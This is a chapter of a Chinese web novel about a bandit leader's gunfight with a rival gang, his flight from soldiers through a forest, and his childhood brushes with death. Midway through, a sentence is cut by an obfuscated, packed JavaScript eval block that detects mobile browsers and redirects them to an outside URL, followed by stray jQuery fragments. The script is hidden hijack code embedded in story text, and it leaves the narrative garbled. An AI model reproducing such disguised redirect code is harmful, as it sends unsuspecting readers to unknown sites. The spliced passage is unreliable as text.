万山雪对面,三荒子陡然变色!万山雪大吼一声“趴下!”紧接着就是一声枪响,枪响声后,两边枪声顿时连成一片,这两个不共戴天的绺子立时火并起来!随着不知道谁的“散开!散开!”众人都争先恐后地一边打枪一边找寻掩体。万山雪的马快,已经沿着赵家大院撒开四蹄,绕圈奔跑起来!他一抬手,便有一个人倒下,三荒子却立刻在人群掩映中消失不见了。他听见三荒子的声音,却看不见他的人影——他把自己藏进了自己的崽子们里,万山雪怒笑一声,大骂道:“三荒子!你他妈缩着卵在哪儿避风(躲着)呢!”说罢,两手都离了马缰,人还稳稳坐在马背上,一手撸枪壳子,一手开枪,霎那之间,又放倒了三个! 凝神去听,也听不清三荒子一身的鸡零狗碎和铃铛碰撞的声音,因为马的嘶叫声、枪声、招呼声全都响成一片。万山雪两腿夹住马腹,向后下腰一倒,两枪击中身后偷袭的蒙面崽子。史田的怒吼声紧随其后,他那只独眼瞪得溜圆,在他眼睛里的,一个也没放过;许永寿不知道什么时候上了屋顶,仗着地势高,撂倒一片;郎项明就更难找,如同一尾泥鳅一样,消失在赵家宽敞的院子里,躲在朱红色的宽大柱子后头,时不时放一记冷枪,准头儿还不错。 “褚莲!你点不中我!”三荒子更是只闻其声,不见其人,他身量高大,却没一个人能瞄中他的血核桃(脑袋),仿佛他已经融进了自家崽子们造成的一道人墙里似的!可他沙哑又高亢的笑声却回荡在院子里,“以前就是,现在也是!” 两方交火,枪声混乱,无数的子弹在大院正中飞过,甚至不知道击中的到底是敌人还是自己人。三荒子究竟去了哪儿?一颗子弹擦着万山雪的耳朵过去,他珍惜这匹白马的性命,不肯下马寻找掩体,只能在大院里闪转腾挪,更是他在明,三荒子在暗。 “他妈的!三荒子,我给你个报号,就叫‘缩头王八’!”他大吼一声,两枪点了史田背后的崽子。白马仍在疯跑,汗水和不知道谁的鲜血染乌了它的皮毛,在这样的速度下,万山雪几乎看不清场内到底谁是谁。 三荒子在哪儿?难不成他已经一头扎进了哪间屋子,或者借着掩护干脆跑了?那不可能,他想要杀了万山雪的心,难道就比万山雪想要杀了他的心少吗! 白马已经晕头转向,他气喘不停,勒住马缰——但是,仿佛他的心思和三荒子转到了一块儿,他忽然听见那个声音,离他并不远,就在他一回头的时间—— “褚莲!” 一瞬间有如给拉长成了一个世纪,他回头的一瞬,三荒子的枪口近在眼前,他自己的枪也举起来了——不,没有那么快,来不及了—— 砰—— 三荒子脸上的表情定格在那个“大仇得报”的狞笑,紧接着又变成困惑和错愕,一朵血花在他的右胸炸开,同一时刻,万山雪听见有人在他耳边大喊“跳子!跳子来了!扯呼!扯呼!”他提枪便射!但是三荒子忍着痛就地一滚,躲过了他致命的一枪,一闪身,已经跳上了一个蒙面崽子的马,飞奔了出去!万山雪瞄着他的背影,又是一枪——却只有“咔哒”一声扳机的轻响。 他没有子弹了。 “大柜!风紧拉花(事急速逃)!走啊!” 是济兰,他还穿着那身红艳艳的嫁衣,已经朝他奔了过来,此刻更是满面尘灰和焦急的神色——原来就是他,刚刚射中了三荒子的肩膀,他的枪法还没有那么准,何况他刚才离得实在太远了。但万山雪仍浑身打颤,牙关咬得死死的,忽然转头吼道:“你的枪呢?给我!” “大柜!” “给我!” “跳子来了!走啊!已经……已经追不上了!” 万山雪僵在原地,不远处,蓝颜色的制服几乎连成一片——官兵来了!他咬牙一望,在奔来的官兵队伍之后,看见三荒子的背影,变成了一个小小的黑点,很快消失不见了;他一转头,只见济兰正抓着他的马缰不放,恐怕他强行策马去追,济兰也绝不会松手—— “来不及了!” 万山雪猛地一闭眼睛,怒吼一声:“扯呼!跟着我!”说罢,将济兰的手臂一抓,济兰借力坐上了他的马背,就坐在他后头,两只手立刻围上了他的腰。白马如同一颗子弹般射了出去!史田、郎项明、许永寿领着几班崽子跟在万山雪身后,从刚刚进来的侧门飞奔出去!马是胡子腿,只要有马,他们就来得快,去得更快。 万山雪的人马很快跑出了围子,在一片野地上飞奔。 万山雪刚转过头来要说话,忽然听见身后属于史田的声音大呼道:“趴下!” 身体比头脑更快,二人猛然趴下,在马背上颠簸的同时,身后响起接连一片的枪声! “他妈的……还在追?”万山雪扭过头去看,只见一溜骑兵仍在他们后头紧追不舍,蓝哇哇的制服连成一片,他大声喊道:“跟紧前头的!” 说罢,他一夹马腹,史田、许永寿等人紧随其后,跟他一起,一头扎进了一个看不见边儿的树林子里头! “大柜!” 从万山雪的身后,济兰递来他自己的第二把枪。万山雪深深看了他一眼,忽然回身两枪!两个跳子(兵)应声落马,他却不贪枪,马上趴回马背上,身后枪声四起,两方一追一逃,交起火来! 崽子们的枪法就逊色多了,混乱之中,顾不上有几个自己人落马,唯有林间的野风和还未抽芽的枝条抽打着他们的手臂和脸颊,万山雪仍在唿哨,引着崽子们跟随的同时,也引着穷追不舍的追兵。 迎着风,济兰在他身后大叫道:“我们往哪儿跑!” 万山雪的声音顺着风朝他飘来:“先甩掉!这林子里甩不掉,就成他们的仙(杀了他们)!小心别让柴手(子弹)抠开血核桃(脑袋)!”说罢,他又飞速起身,啪啪两枪!这次射的是马腿——马儿扑倒在地,连倒了一片。 济兰向后看去,一颗心在腔子里跳得几欲作呕,脸上满是枝条抽出来的伤痕,他一咬牙,也拔枪射击!三颗子弹,中了一颗,他又很快趴下。 紧接着,他忽然发现,万山雪的背影上,有一块深红色的印记,正逐渐洇开。他喉中一梗,脑子里轰然一片。 万山雪一生中有三次濒临死亡。 第一次是他刚从娘肠里爬出来的时候。 他娘怀他那一年,全围子都在闹旱灾,地里颗粒无收,他娘四肢细得像干柴火枝子,只有肚子大得像皮球。据产婆说,他出生的时候浑身青紫,进气儿多,出气儿少,眼见着就不成了。他娘饿得没有奶,能吮出的只有血。于是,大人们只好用羊奶喂他,死马当成活马医,没想到,他一天胜似一天地活了下来。他爹妈怕养不活他,心有余悸地给他取名褚莲,小名莲莲,也是怜怜。 第二次是他八岁那年,遇到了一个劫道的。 他见过枪。他爹是围子里的炮头,围主的左右手。他常偷偷去摸他爹的枪,所幸他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516202|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出过什么事故。那日,他买了一块高粱饴,含在嘴里,高高兴兴地回家去。出于一种孩子独有的探索心理,他走了一条人迹罕至的小路。过去,劫道的也叫棒子手——棒子手有枪,巧的是,他的袄子里也有一把枪。 第三次,是他十八岁那年,那是一个数九寒冬。 爹死了,尸骨收殓在围子里。围子外,是他和娘的尸身,还有牵着他不放的郝粮。他深一脚浅一脚地走在雪地里,好大的雪啊。人说瑞雪兆丰年,来年一定会有好收成。他极目望去,万山负雪,只有一轮孤冷的月亮,亘古不变地照耀着人间。 从这三次濒死之后,他再也不相信他会草率地死掉。 做胡子,总是要有点迷信的。 因为迷信也有用处。 就比如此刻。 枪林弹雨声中,万山雪杀得兴起,脸上分毫不见慌乱,还能在闪转腾挪之中回身射击。他听见史田的怒吼,还有心调笑道:“咱独眼枪小心点儿剩下那只眼睛!”史田大骂一声。 慌乱之中,他粗略地点了点人头,大约没少,扬声叫道:“散开!雪里红跟我走!” 身后响起此起彼伏的应和声,他们应对跳子也有些经验。史田、许永寿各自单开一路,领着分拨的人马向两边转去,郎项明缀在队伍后头,时不时地放上一枪。 “失散了咋办!”济兰一张嘴,吃了一口风。 “顾不了那么多了!”万山雪吼道。 济兰只好紧紧抱住万山雪的腰。追兵渐渐乱了,为谁先去哪一头而犹豫了片刻,这犹豫也为他们争取了时间。只要散到林子里,藏住了,或者是杀他们一个回马枪,就都有可能了。 渐渐地,万山雪和济兰都听不见史田他们的声音了,他们这支小队在林子之中闪转腾挪,最终和追兵对起枪来! 子弹,惨叫,马嘶声响成一片! “马是胡子腿。”那男人这么说,大大的手握着他小小的手,他小小的手里则握着枪,“这叫打马壳。” “格格,打他们马腿!”万山雪叫道,枪随声而发,啪啪两颗子弹,正中目标!又一匹马哀叫着倒了下去,摔断了一个跳子的脖子,那跳子很快被友军的马踩成了肉泥。 “知道了!”济兰的手却正在抖。万山雪总是给他出难题!不管是砸阿林保的窑也好、打雁也好,还是现在也好!他银牙紧咬,抬手便射!这一枪又偏了,直接打到了马眼睛上。马背上的跳子也举枪回击,幸好他躲得快。 擒贼先擒王,由是跟着万山雪的这一支小队人最多。所幸万山雪枪法卓绝,一枪一只马腿——跳子之中很快叫嚷起“分散!分散!”来,这一次,他瞄的就成了跳子的眉心。 跳子一旦打散了,就很难再重聚起来,这支小队很快开始撤退——万山雪没来由想到济兰提起过的军饷问题,他摇了摇脑袋,勒住马缰,开始思索史田他们的去向。 他回身一望,崽子们已少了小三分之一,都是惊魂未定的样子——尤其是济兰。 他现在一点儿也不像个新娘子了:老金家老姑娘的嫁衣早就被枝条子划破,满是破口,挂在济兰身上;那张秀美的面孔上也满是伤痕,脸色苍白,嘴唇微微启张着。 “大柜……” “就剩这么点儿。”万山雪阴着脸,远远望着四散奔逃的跳子,济兰觑着他的脸色,又叫了一声大柜。 万山雪看着他。 “你的肩膀……” 此时,那片血迹终于洇到了正面,濡湿的一片,似乎还在往外渗透。 迟来的疼痛渐渐漫上他的身躯,万山雪的嘴唇和济兰一个颜色。但是他忽然张口说话了,说的话和这伤口全无关系:“你知道这林子叫啥吗?” 济兰仍瞪着万山雪的肩膀,几乎有些生万山雪的气了,但仍摇了摇头。 万山雪忽然畅快地笑了起来:“这叫麻达林。意思是说,谁来都得迷路。” 济兰完全说不出话了。